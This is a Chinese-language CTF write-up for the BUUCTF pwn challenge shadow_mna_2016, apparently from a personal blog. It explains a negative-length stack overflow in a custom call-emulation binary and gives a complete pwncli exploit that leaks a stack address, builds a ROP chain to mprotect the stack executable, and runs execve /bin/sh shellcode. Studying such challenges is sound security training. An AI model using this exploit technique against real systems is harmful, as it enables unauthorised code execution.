[BUUCTF] shadow_mna_2016
shadow_mna_2016
总结
自定义了一套函数调用流程,手动模拟了push/pop/call/ret等。分析清楚每个指令的实现后,即可利用栈上的变量进行利用。
checksec

远程环境不影响。
漏洞点
这里直接看汇编,更容易发现漏洞点。在message函数中:

这里要输入name的时候,直接从栈上取的变量,可控制。

长度可以位为负数,之后可以栈溢出。还可以发现,循环变量都是从栈上取的,也可以控制循环的次数。
利用思路
程序最后回到上一层使用的是:

一开始的想法是控制这里的ebp,即可进行栈迁移。后来在写exp的过程中发现,在getnline(name, xxx)的时候,就已经可以rop了。
思路如下:
- 首先利用栈溢出泄露出stack地址
- 伪造name和name_len,读入name,触发rop
- 修改栈的可执行权限,执行shellcode即可
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
sla("Input name : ", "roderick")
sla("Message length : ", "-1")
sa("Input message : ", "a"*0x2b+"$")
ru("$")
m = rn(4)
stack_addr = u32_ex(m)
log_address_ex("stack_addr")
sla("Change name? (y/n) : ", "n")
sla("Message length : ", "-1")
sa("Input message : ", flat({
    0x20-4: [
        3, # i
        0,
        0,0,
        "dead", # *rbp
        0,
        stack_addr - 0xc4 - 0x60, # name
        0x1000, # name_len
        4 # let's try again
    ]
}))
payload = [
    elf.plt.mprotect,
    stack_addr - 0x80,
    (stack_addr - 0x104) & ~0xfff,
    0x2000,
    7,
    "\x90" * 0x100,
    ShellcodeMall.i386.execve_bin_sh
]
sla("Input name : ", flat({
    28:payload
}))
ia()
打远程:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/16104083.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号